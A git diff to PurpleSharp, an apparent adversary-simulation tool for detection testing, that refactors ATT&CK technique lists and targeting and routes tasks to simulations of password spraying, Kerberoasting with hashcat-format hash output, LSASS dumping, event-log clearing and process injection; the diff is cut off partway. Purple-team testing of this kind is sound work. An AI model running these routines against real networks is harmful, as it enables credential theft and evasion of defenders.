diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index d5d6467..ece1f07 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -251,7 +251,7 @@ public static void ExportAttackLayer(string[] techniques) { NavigatorLayer layer = new NavigatorLayer(); - layer.version = "3.0"; + layer.version = "4.2"; layer.name = "PurpleSharp Coverage"; layer.domain = "mitre-enterprise"; layer.description = "Layer of techniques supported by PurpleSharp"; @@ -294,7 +294,7 @@ public static NavigatorLayer ReadNavigatorLayer(string jsoninput) } - public static SimulationExercise ConvertNavigatorToSimulationExercise(NavigatorLayer layer, string[] supportedtechniques) + public static SimulationExercise ConvertNavigatorToSimulationExercise(NavigatorLayer layer, string[] supportedtechniques, string[] supportedsubtechniques) { SimulationExercise engagement = new SimulationExercise(); List playbooks = new List(); @@ -303,7 +303,7 @@ public static SimulationExercise ConvertNavigatorToSimulationExercise(NavigatorL foreach (NavigatorTechnique technique in layer.techniques) { - if (Array.IndexOf(supportedtechniques, technique.techniqueID) > -1) + if (Array.IndexOf(supportedtechniques, technique.techniqueID) > -1 || Array.IndexOf(supportedsubtechniques, technique.techniqueID) > -1) { SimulationPlaybook playbook = new SimulationPlaybook(); playbook.name = layer.name; diff --git a/PurpleSharp/Lib/Ldap.cs b/PurpleSharp/Lib/Ldap.cs index 14b6350..f4a4bc4 100644 --- a/PurpleSharp/Lib/Ldap.cs +++ b/PurpleSharp/Lib/Ldap.cs @@ -34,6 +34,7 @@ public Computer(string hostname, string ip) { ComputerName = hostname; IPv4 = ip; + Fqdn = ""; } public Computer() { diff --git a/PurpleSharp/Lib/Logger.cs b/PurpleSharp/Lib/Logger.cs index de50f00..02a8289 100644 --- a/PurpleSharp/Lib/Logger.cs +++ b/PurpleSharp/Lib/Logger.cs @@ -84,6 +84,8 @@ public void SimulationFinished() public void SimulationFailed(Exception ex) { WriteFormattedLog(LogLevel.TINFO, "Exception: "+ ex.Message.ToString().Replace(Environment.NewLine,"")); + //WriteFormattedLog(LogLevel.TINFO, "Exception: " + ex.StackTrace); + WriteFormattedLog(LogLevel.TINFO, "Simulation Failed"); } private void WriteLine(string text, bool append = true) diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index 1a83857..9691670 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -82,7 +82,7 @@ public class SimulationExercise public string password { get; set; } public string domain_controller { get; set; } public int sleep { get; set; } - public string type { get; set; } + public string type { get; set; } = "local"; public List playbooks { get; set; } } public class SimulationPlaybook @@ -109,6 +109,7 @@ public SimulationPlaybook() public class PlaybookTask { // Generic variables + public string tactic { get; set; } = ""; public string technique_id { get; set; } public int variation { get; set; } = 1; public int task_sleep { get; set; } = 0; @@ -119,6 +120,7 @@ public class PlaybookTask public string spray_password { get; set; } = "Passw0rd1"; // User target variables + // User by Password Spraying & Kerberoasting public int user_target_type { get; set; } = 1; public int user_target_total { get; set; } = 5; public string[] user_targets { get; set; } @@ -134,6 +136,19 @@ public class PlaybookTask // Network Service Scanning public int[] ports { get; set; } = { 135, 139, 443, 445, 1433, 3306, 3389 }; + // Remote Service Creation + public string serviceName { get; set; } ="PurpleSharp Updater"; + public string servicePath { get; set; } = @"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"; + + // WinRM remote execution and WMI remote execution + public string command { get; set; } = @"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"; + + // Creating local and remote scheduled tasks + public string taskName { get; set; } = @"PurpleSharp Updater"; + public string taskPath { get; set; } = @"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"; + + + public PlaybookTask() { } diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 9972dc1..0d11739 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -192,24 +192,24 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st PipeSecurity ps = new PipeSecurity(); ps.SetAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow)); - logger.TimestampInfo("starting Simulator!"); + //logger.TimestampInfo("starting Simulator!"); using (var pipeServer = new NamedPipeServerStream(npipe, PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 4028, 4028, ps)) { SimulationResponse sim_response; - logger.TimestampInfo("Waiting for client connection..."); + //logger.TimestampInfo("Waiting for client connection..."); pipeServer.WaitForConnection(); - logger.TimestampInfo("Client connected."); + //logger.TimestampInfo("Client connected."); var messageBytes = ReadMessage(pipeServer); var line = Encoding.UTF8.GetString(messageBytes); - logger.TimestampInfo("Received from client: " + line); + //logger.TimestampInfo("Received from client: " + line); SimulationRequest sim_request = JsonConvert.DeserializeObject(line); playbook = sim_request.playbook; sim_response = new SimulationResponse("ACK"); byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); - logger.TimestampInfo("Replied to client: " + Encoding.UTF8.GetString(bytes_sim_response)); + //logger.TimestampInfo("Replied to client: " + Encoding.UTF8.GetString(bytes_sim_response)); pipeServer.Disconnect(); return playbook; } diff --git a/PurpleSharp/Lib/SharpRoast.cs b/PurpleSharp/Lib/SharpRoast.cs index 6b75403..a02a153 100644 --- a/PurpleSharp/Lib/SharpRoast.cs +++ b/PurpleSharp/Lib/SharpRoast.cs @@ -86,35 +86,36 @@ public static void GetDomainSPNTicket(string samaccountname, string spn, string } else { + logger.TimestampInfo(String.Format("Obtained service ticket and hash for SPN {0} ({1})", spn, samaccountname)); // output to hashcat format string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); - + bool header = false; foreach (string line in Split(hash, 80)) { if (!header) { //Console.WriteLine("Hash : {0}", line); - DateTime dtime = DateTime.Now; - //Console.WriteLine("{0}[{1}] Obtained service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); - logger.TimestampInfo(String.Format("Obtained service ticket and hash for SPN {0} ({1})", spn, samaccountname)); + } else { //Console.WriteLine(" {0}", line); + //Console.WriteLine(hash); } header = true; } - //Console.WriteLine(); } } } catch (Exception ex) { + logger.TimestampInfo(String.Format("Error obtaining service ticket and hash for SPN {0} ({1})", spn, samaccountname)); + //Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); - DateTime dtime = DateTime.Now; - Console.WriteLine("{0}[{1}] Error obtaining service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); - Console.WriteLine(ex); + //DateTime dtime = DateTime.Now; + //Console.WriteLine("{0}[{1}] Error obtaining service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); + //Console.WriteLine(ex); } } diff --git a/PurpleSharp/Lib/Structs.cs b/PurpleSharp/Lib/Structs.cs index 1afb38c..afdab99 100644 --- a/PurpleSharp/Lib/Structs.cs +++ b/PurpleSharp/Lib/Structs.cs @@ -660,6 +660,20 @@ public struct CONTEXT64 public ulong LastExceptionFromRip; } + [StructLayout(LayoutKind.Sequential)] + public struct QueryServiceConfig + { + public int serviceType; + public int startType; + public int errorControl; + public IntPtr binaryPathName; + public IntPtr loadOrderGroup; + public int tagID; + public IntPtr dependencies; + public IntPtr startName; + public IntPtr displayName; + } + diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index b9f464e..a23bd17 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -48,7 +48,7 @@ public static List GetNetworkNeighborTargets(int count, Logger logger) } - public static List GetDomainNeighborTargets(int count, Lib.Logger logger) + public static List GetDomainNeighborTargets(int count, Logger logger) { List targets = new List(); @@ -216,50 +216,49 @@ public static List GetHostTargets(PlaybookTask playbook_task, Logger l { List host_targets = new List(); Computer host_target = new Computer(); + IPAddress ipAddress = null; + bool isValidIp; switch (playbook_task.host_target_type) { case 1: - IPAddress ipAddress = null; - isValidIp = IPAddress.TryParse(playbook_task.host_targets[0], out ipAddress); - if (isValidIp) host_target = new Computer("", playbook_task.host_targets[0]); - else host_target = new Computer(playbook_task.host_targets[0], Networking.ResolveHostname(playbook_task.host_targets[0]).ToString()); - logger.TimestampInfo(String.Format("Using {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); - host_targets.Add(host_target); - + if (playbook_task.host_targets.Length > 1) + { + foreach (string target in playbook_task.host_targets) + { + isValidIp = IPAddress.TryParse(target, out ipAddress); + if (isValidIp) host_target = new Computer("", target); + else host_target = new Computer(target, Networking.ResolveHostname(target).ToString()); + host_targets.Add(host_target); + } + logger.TimestampInfo(String.Format("Using {0} targets defined in the playbook", playbook_task.host_targets.Length.ToString())); + } + else + { + isValidIp = IPAddress.TryParse(playbook_task.host_targets[0], out ipAddress); + if (isValidIp) host_target = new Computer("", playbook_task.host_targets[0]); + else host_target = new Computer(playbook_task.host_targets[0], Networking.ResolveHostname(playbook_task.host_targets[0]).ToString()); + logger.TimestampInfo(String.Format("Using {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); + host_targets.Add(host_target); + } break; - + case 2: - logger.TimestampInfo("Targeting a random domain host target"); + logger.TimestampInfo("Targeting a random domain hosts"); host_targets = GetDomainNeighborTargets(playbook_task.host_target_total, logger); logger.TimestampInfo(String.Format("Obtained {0} host records", host_targets.Count)); + /* + // Pick one random host var random = new Random(); int index = random.Next(host_targets.Count); host_target = host_targets[index]; logger.TimestampInfo(String.Format("Randomly picked {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); host_targets.Clear(); host_targets.Add(host_target); + */ break; - - case 3: - //TODO: This option is not needed, It can be part of case 1. - logger.TimestampInfo(String.Format("Targeting {0} hosts defined in playbook", playbook_task.host_targets.Length)); - for (int i = 0; i < playbook_task.host_targets.Length; i++) - { - isValidIp = IPAddress.TryParse(playbook_task.host_targets[i], out ipAddress); - if (isValidIp) host_target = new Computer("", playbook_task.host_targets[i]); - else host_target = new Computer(playbook_task.host_targets[i], Networking.ResolveHostname(playbook_task.host_targets[i]).ToString()); - host_targets.Add(host_target); - } - break; - - case 4: - logger.TimestampInfo("Targeting random domain hosts"); - host_targets = GetDomainNeighborTargets(playbook_task.host_target_total, logger); - logger.TimestampInfo(String.Format("Obtained {0} host records", host_targets.Count)); - break; - + default: return host_targets; } diff --git a/PurpleSharp/Lib/WinAPI.cs b/PurpleSharp/Lib/WinAPI.cs index 3eaa63d..ee4e6bf 100644 --- a/PurpleSharp/Lib/WinAPI.cs +++ b/PurpleSharp/Lib/WinAPI.cs @@ -159,6 +159,11 @@ public static extern IntPtr CreateService( [return: MarshalAs(UnmanagedType.Bool)] public static extern bool DeleteService(IntPtr serviceHandle); + [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern int QueryServiceConfig(IntPtr hService, IntPtr queryServiceConfig, int bufferSize, ref int bytesNeeded); + + [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool ChangeServiceConfig(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName); [DllImport("advapi32.dll", SetLastError = true)] diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 1690add..631557d 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -51,15 +51,35 @@ public static void Main(string[] args) scout_np = "scoutpipe"; simulator_np="simpipe"; - //should move this to sqlite or a JSON file. - string[] execution = new string[] { "T1053.005", "T1059.003", "T1059.005", "T1059.007", "T1059.001", "T1569.002"}; - string[] persistence = new string[] { "T1053.005", "T1136.001", "T1543.003", "T1547.001", "T1546.003", "T1197" }; - string[] privelege_escalation = new string[] { "T1053.005", "T1543.003", "T1547.001", "T1546.003", "T1055.002", "T1055.004" }; - string[] defense_evasion = new string[] { "T1218.010", "T1218.005", "T1218.003", "T1218.011", "T1070.001", "T1220", "T1055.002", "T1055.003", "T1055.004", "T1140", "T1197", "T1218.009", "T1218.004", "T1134.004" }; - string[] credential_access = new string[] { "T1110.003", "T1558.003", "T1003.001" }; - string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1018", "T1083", "T1482", "T1201","T1069.001", "T1069.002", "T1012", "T1518.001", "T1082", "T1124" }; - string[] lateral_movement = new string[] { "T1021", "T1021.006", "T1047" }; - string[] supported_techniques = execution.Union(persistence).Union(privelege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray(); + /* + string[] execution = new string[] { "T1053", "T1053.005", "T1059", "T1059.001", "T1059.003", "T1059.005", "T1059.007", "T1569", "T1569.002" }; + string[] persistence = new string[] { "T1053", "T1053.005", "T1136", "T1136.001", "T1197", "T1543", "T1543.003", "T1546", "T1546.003", "T1547", "T1547.001" }; + string[] privilege_escalation = new string[] { "T1053.005", "T1134", "T1134.004" , "T1543.003", "T1547.001", "T1546.003", "T1055", "T1055.002", "T1055.004"}; + string[] defense_evasion = new string[] { "T1055.002", "T1055.003", "T1055.004", "T1070", "T1070.001", "T1218", "T1218.003", "T1218.010", "T1218.004", "T1218.005", "T1218.009", "T1218.011", "T1140", "T1197", "T1134", "T1134.004", "T1220" }; + string[] credential_access = new string[] { "T1003", "T1003.001", "T1110", "T1110.003", "T1558", "T1558.003"}; + string[] discovery = new string[] { "T1135", "T1046", "T1087", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1018", "T1083", "T1482", "T1201","T1069", "T1069.001", "T1069.002", "T1012", "T1518", "T1518.001", "T1082", "T1124" }; + string[] lateral_movement = new string[] { "T1021", "T1021.002", "T1021.006", "T1047" }; + string[] supported_techniques = execution.Union(persistence).Union(privilege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray(); + */ + //should move this to sqlite, an embedded resource or an external JSON file. + string[] execution_techniques = new string[] { "T1053", "T1059", "T1569"}; + string[] execution_subtechniques = new string[] { "T1053.005","T1059.001", "T1059.003", "T1059.005", "T1059.007", "T1569.002" }; + string[] persistence_techniques = new string[] { "T1053", "T1136", "T1197", "T1543", "T1546", "T1547"}; + string[] persistence_subtechniques = new string[] { "T1053.005", "T1136.001", "T1543.003", "T1546.003", "T1547.001" }; + string[] privilege_escalation_techniques = new string[] {"T1134", "T1055", }; + string[] privilege_escalation_subtechniques = new string[] { "T1053.005", "T1134.004", "T1543.003", "T1547.001", "T1546.003", "T1055.002", "T1055.004" }; + string[] defense_evasion_techniques = new string[] { "T1055", "T1070", "T1218", "T1140", "T1197", "T1134","T1220" }; + string[] defense_evasion_subtechniques = new string[] { "T1055.002", "T1055.003", "T1055.004", "T1070.001", "T1218.003", "T1218.010", "T1218.004", "T1218.005", "T1218.009", "T1218.011", "T1134.004"}; + string[] credential_access_techniques = new string[] { "T1003", "T1110", "T1558"}; + string[] credential_access_subtechniques = new string[] {"T1003.001", "T1110.003", "T1558.003" }; + string[] discovery_techniques = new string[] { "T1135", "T1046", "T1087", "T1007", "T1033", "T1049", "T1016", "T1018", "T1083", "T1482", "T1201", "T1069", "T1012", "T1518", "T1082", "T1124" }; + string[] discovery_subtechniques = new string[] { "T1087.001", "T1087.002", "T1007", "T1069.001", "T1069.002", "T1518.001" }; + string[] lateral_movement_techniques = new string[] { "T1021", "T1047" }; + string[] lateral_movement_subtechniques = new string[] { "T1021.002", "T1021.006" }; + string[] supported_techniques = execution_techniques.Union(persistence_techniques).Union(privilege_escalation_techniques).Union(defense_evasion_techniques).Union(credential_access_techniques).Union(discovery_techniques).Union(lateral_movement_techniques).ToArray(); + string[] supported_subtechniques = execution_subtechniques.Union(persistence_subtechniques).Union(privilege_escalation_subtechniques).Union(defense_evasion_subtechniques).Union(credential_access_subtechniques).Union(discovery_subtechniques).Union(lateral_movement_subtechniques).ToArray(); + + if (args.Length == 0) { @@ -194,9 +214,10 @@ public static void Main(string[] args) { try { - Console.WriteLine("[+] PurpleSharp supports "+ supported_techniques.Count() +" unique ATT&CK techniques."); + Console.WriteLine("[+] PurpleSharp supports " + supported_subtechniques.Distinct().Count() + " unique ATT&CK subtechniques" + " and "+supported_techniques.Distinct().Count() +" unique ATT&CK techniques."); Console.WriteLine("[+] Generating an ATT&CK Navigator layer..."); - Json.ExportAttackLayer(supported_techniques.Distinct().ToArray()); + //Json.ExportAttackLayer(supported_techniques.Distinct().ToArray()); + Json.ExportAttackLayer(supported_techniques.Union(supported_subtechniques).ToArray()); Console.WriteLine("[!] Open PurpleSharp_Navigator.json on https://mitre-attack.github.io/attack-navigator"); return; } @@ -214,7 +235,7 @@ public static void Main(string[] args) NavigatorLayer layer = Json.ReadNavigatorLayer(json); Console.WriteLine("[!] Loaded attack navigator '{0}'", layer.name); Console.WriteLine("[+] Converting ATT&CK navigator Json..."); - SimulationExercise engagement = Json.ConvertNavigatorToSimulationExercise(layer, supported_techniques.Distinct().ToArray()); + SimulationExercise engagement = Json.ConvertNavigatorToSimulationExercise(layer, supported_techniques.Distinct().ToArray(), supported_subtechniques.Distinct().ToArray()); Json.CreateSimulationExercise(engagement); Console.WriteLine("[!] Done"); Console.WriteLine("[+] Open simulation.json"); @@ -294,14 +315,13 @@ public static void Main(string[] args) string json = File.ReadAllText(pb_file); SimulationExercise engagement = Json.ReadSimulationPlaybook(json); string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); if (engagement != null) { if (engagement.type.Equals("local")) { logger.TimestampInfo(String.Format("PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count)); - //Console.WriteLine("[+] PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count); SimulationPlaybook lastPlaybook = engagement.playbooks.Last(); string results =""; foreach (SimulationPlaybook playbook in engagement.playbooks) @@ -330,10 +350,8 @@ public static void Main(string[] args) logger.TimestampInfo(String.Format("Sleeping {0} seconds until next playbook...", engagement.sleep)); Thread.Sleep(1000 * engagement.sleep ); } - } } - logger.TimestampInfo("Writting JSON results..."); results = File.ReadAllText(log); string output_file = pb_file.Replace(".json", "") + "_results.json"; @@ -815,7 +833,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(Sim sim_request = new SimulationRequest("ACT"); result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - System.Threading.Thread.Sleep(5000); + Thread.Sleep(5000); bool finished = false; int counter = 1; string results = RemoteLauncher.readFile(playbook.remote_host, simfolder + log, exercise.username, exercise.password, exercise.domain); @@ -823,6 +841,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(Sim { if (results.Split('\n').Last().Contains("Playbook Finished")) { + Console.WriteLine("[+] Results:"); Console.WriteLine(); Console.WriteLine(results); @@ -902,279 +921,302 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(Sim } public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) { - var rand = new Random(); - switch (playbook_task.technique_id) + // no specific tactic defined + if (playbook_task.tactic.Equals("")) { - //// Initial Access //// - - //// Execution //// - - case "T1059.001": - if (playbook_task.variation == 1) Simulations.Execution.ExecutePowershellCmd(log); - else Simulations.Execution.ExecutePowershellNET(log); - break; - - case "T1059.003": - Simulations.Execution.WindowsCommandShell(log); - break; - - - case "T1059.005": - Simulations.Execution.VisualBasic(log); - break; - - case "T1059.007": - Simulations.Execution.JScript(log); - break; - - case "T1569.002": - Simulations.Execution.ServiceExecution(log); - break; - - - //T1021.006 - Windows Remote Management - - //// Persistence //// - - //T1053.005 - Scheduled Task + switch (playbook_task.technique_id) + { + //// Initial Access //// - case "T1053.005": - Simulations.Persistence.CreateScheduledTaskCmd(log, playbook_task.cleanup); - break; + //// Execution //// + /// - case "T1136.001": - if (playbook_task.variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, playbook_task.cleanup); - else Simulations.Persistence.CreateLocalAccountCmd(log, playbook_task.cleanup); - break; + //T1047 - Windows Management Instrumentation + case "T1047": + Simulations.Execution.ExecuteWmiCmd(log); + break; - case "T1543.003": - if (playbook_task.variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, playbook_task.cleanup); - else Simulations.Persistence.CreateWindowsServiceCmd(log, playbook_task.cleanup); - break; + case "T1059.001": + if (playbook_task.variation == 1) Simulations.Execution.ExecutePowershellCmd(log); + else Simulations.Execution.ExecutePowershellNET(log); + break; - case "T1547.001": - if (playbook_task.variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, playbook_task.cleanup); - else Simulations.Persistence.CreateRegistryRunKeyCmd(log, playbook_task.cleanup); - break; + case "T1059.003": + Simulations.Execution.WindowsCommandShell(log); + break; - case "T1546.003": - Simulations.Persistence.WMIEventSubscription(log, playbook_task.cleanup); - break; - //// Privilege Escalation //// + case "T1059.005": + Simulations.Execution.VisualBasic(log); + break; - //T1543.003 - New Service + case "T1059.007": + Simulations.Execution.JScript(log); + break; - //T1053.005 - Scheduled Task + case "T1569.002": + Simulations.Execution.ServiceExecution(log); + break; - //// Defense Evasion //// - case "T1218.010": - Simulations.DefenseEvasion.Regsvr32(log); - break; + //T1021.006 - Windows Remote Management - case "T1218.009": - Simulations.DefenseEvasion.RegsvcsRegasm(log); - break; + //// Persistence //// - case "T1218.004": - Simulations.DefenseEvasion.InstallUtil(log); - break; + //T1053.005 - Scheduled Task - case "T1140": - Simulations.DefenseEvasion.DeobfuscateDecode(log); - break; + case "T1053.005": + Simulations.Persistence.CreateScheduledTaskCmd(log, playbook_task.cleanup); + break; - case "T1218.005": - Simulations.DefenseEvasion.Mshta(log); - break; + case "T1136.001": + if (playbook_task.variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, playbook_task.cleanup); + else Simulations.Persistence.CreateLocalAccountCmd(log, playbook_task.cleanup); + break; - case "T1218.003": - Simulations.DefenseEvasion.Csmtp(log); - break; + case "T1543.003": + if (playbook_task.variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, playbook_task.cleanup); + else Simulations.Persistence.CreateWindowsServiceCmd(log, playbook_task.cleanup); + break; - case "T1197": - Simulations.DefenseEvasion.BitsJobs(log); - break; + case "T1547.001": + if (playbook_task.variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, playbook_task.cleanup); + else Simulations.Persistence.CreateRegistryRunKeyCmd(log, playbook_task.cleanup); + break; - case "T1218.011": - Simulations.DefenseEvasion.Rundll32(log); - break; + case "T1546.003": + Simulations.Persistence.WMIEventSubscription(log, playbook_task.cleanup); + break; - case "T1070.001": - if (playbook_task.variation == 1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); - else Simulations.DefenseEvasion.ClearSecurityEventLogCmd(log); + //// Privilege Escalation //// - break; + //T1543.003 - New Service - case "T1220": - Simulations.DefenseEvasion.XlScriptProcessing(log); - break; + //T1053.005 - Scheduled Task - case "T1055.002": - Simulations.DefenseEvasion.PortableExecutableInjection(log); - break; + //// Defense Evasion //// - case "T1055.003": - Simulations.DefenseEvasion.ThreadHijack(log); - break; + case "T1218.010": + Simulations.DefenseEvasion.Regsvr32(log); + break; - case "T1055.004": - Simulations.DefenseEvasion.AsynchronousProcedureCall(log); - break; + case "T1218.009": + Simulations.DefenseEvasion.RegsvcsRegasm(log); + break; - case "T1134.004": - Simulations.DefenseEvasion.ParentPidSpoofing(log); - break; + case "T1218.004": + Simulations.DefenseEvasion.InstallUtil(log); + break; + case "T1140": + Simulations.DefenseEvasion.DeobfuscateDecode(log); + break; + case "T1218.005": + Simulations.DefenseEvasion.Mshta(log); + break; - //T1218.010 - Regsvr32 + case "T1218.003": + Simulations.DefenseEvasion.Csmtp(log); + break; + case "T1197": + Simulations.DefenseEvasion.BitsJobs(log); + break; - //// Credential Access //// + case "T1218.011": + Simulations.DefenseEvasion.Rundll32(log); + break; - //T1110.003 - Password Spraying - case "T1110.003": - if (playbook_task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(playbook_task, log); - else Simulations.CredAccess.RemoteDomainPasswordSpray(playbook_task, log); + case "T1070.001": + if (playbook_task.variation == 1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); + else Simulations.DefenseEvasion.ClearSecurityEventLogCmd(log); - break; + break; - //T1558.003 - Kerberoasting - case "T1558.003": - Simulations.CredAccess.Kerberoasting(log, playbook_task.task_sleep); - break; + case "T1220": + Simulations.DefenseEvasion.XlScriptProcessing(log); + break; - //T1003.001 - LSASS Memory - case "T1003.001": - Simulations.CredAccess.LsassMemoryDump(log); - break; + case "T1055.002": + Simulations.DefenseEvasion.PortableExecutableInjection(log); + break; - //// Discovery //// + case "T1055.003": + Simulations.DefenseEvasion.ThreadHijack(log); + break; - //T1016 System Network Configuration Discovery - case "T1016": - Simulations.Discovery.SystemNetworkConfigurationDiscovery(log); - break; + case "T1055.004": + Simulations.DefenseEvasion.AsynchronousProcedureCall(log); + break; - // Remote System Discovery - case "T1018": - if (playbook_task.variation == 1) Simulations.Discovery.RemoteSystemDiscoveryCmd(log); - else if (playbook_task.variation == 2) Simulations.Discovery.RemoteSystemDiscoveryPowerShell(log); - break; + case "T1134.004": + Simulations.DefenseEvasion.ParentPidSpoofing(log); + break; - //T1083 File and Directory Discovery - case "T1083": - Simulations.Discovery.FileAndDirectoryDiscovery(log); - break; + //T1218.010 - Regsvr32 - //T1135 - Network Share Discovery - case "T1135": - if (playbook_task.variation == 1) Simulations.Discovery.NetworkShareEnumerationCmdLocal(log); - else if (playbook_task.variation == 2) Simulations.Discovery.NetworkShareEnumerationCmdRemote(playbook_task, log); - else Simulations.Discovery.NetworkShareEnumerationApiRemote(playbook_task, log); - break; - //T1046 - Network Service Scanning - case "T1046": - Simulations.Discovery.NetworkServiceDiscovery(playbook_task, log); - break; + //// Credential Access //// - case "T1087.001": - if (playbook_task.variation == 1) Simulations.Discovery.LocalAccountDiscoveryCmd(log); - else if (playbook_task.variation == 2) Simulations.Discovery.LocalAccountDiscoveryPowerShell(log); - break; + //T1110.003 - Password Spraying + case "T1110.003": + if (playbook_task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(playbook_task, log); + else Simulations.CredAccess.RemoteDomainPasswordSpray(playbook_task, log); - case "T1087.002": - if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryCmd(log); - else if (playbook_task.variation == 2) Simulations.Discovery.DomainAccountDiscoveryPowerShell(log); - else Simulations.Discovery.DomainAccountDiscoveryLdap(log); - break; + break; - case "T1007": - Simulations.Discovery.SystemServiceDiscovery(log); - break; + //T1558.003 - Kerberoasting + case "T1558.003": + Simulations.CredAccess.Kerberoasting(playbook_task, log); + break; - case "T1033": - Simulations.Discovery.SystemUserDiscovery(log); - break; + //T1003.001 - LSASS Memory + case "T1003.001": + Simulations.CredAccess.LsassMemoryDump(log); + break; - case "T1049": - Simulations.Discovery.SystemNetworkConnectionsDiscovery(log); - break; + //// Discovery //// - case "T1482": - if (playbook_task.variation == 1) Simulations.Discovery.DomainTrustDiscoveryCmd(log); - else Simulations.Discovery.DomainTrustDiscoveryPowerShell(log); - break; + //T1016 System Network Configuration Discovery + case "T1016": + Simulations.Discovery.SystemNetworkConfigurationDiscovery(log); + break; - case "T1201": - Simulations.Discovery.PasswordPolicyDiscovery(log); - break; + // Remote System Discovery + case "T1018": + if (playbook_task.variation == 1) Simulations.Discovery.RemoteSystemDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.RemoteSystemDiscoveryPowerShell(log); + break; - case "T1069.001": - Simulations.Discovery.LocalGroups(log); - break; + //T1083 File and Directory Discovery + case "T1083": + Simulations.Discovery.FileAndDirectoryDiscovery(log); + break; - case "T1069.002": - if (playbook_task.variation == 1) Simulations.Discovery.DomainGroupDiscoveryCmd(playbook_task, log); - else if (playbook_task.variation == 2) Simulations.Discovery.DomainGroupDiscoveryPowerShell(playbook_task, log); - else Simulations.Discovery.DomaiGroupDiscoveryLdap(playbook_task, log); - break; + //T1135 - Network Share Discovery + case "T1135": + if (playbook_task.variation == 1) Simulations.Discovery.NetworkShareEnumerationCmdLocal(log); + else if (playbook_task.variation == 2) Simulations.Discovery.NetworkShareEnumerationCmdRemote(playbook_task, log); + else Simulations.Discovery.NetworkShareEnumerationApiRemote(playbook_task, log); + break; - case "T1012": - Simulations.Discovery.QueryRegistry(log); - break; + //T1046 - Network Service Scanning + case "T1046": + Simulations.Discovery.NetworkServiceDiscovery(playbook_task, log); + break; - case "T1518.001": - Simulations.Discovery.SecuritySoftwareDiscovery(log); - break; + case "T1087.001": + if (playbook_task.variation == 1) Simulations.Discovery.LocalAccountDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.LocalAccountDiscoveryPowerShell(log); + break; - case "T1082": - Simulations.Discovery.SystemInformationDiscovery(log); - break; + case "T1087.002": + if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.DomainAccountDiscoveryPowerShell(log); + else Simulations.Discovery.DomainAccountDiscoveryLdap(log); + break; - 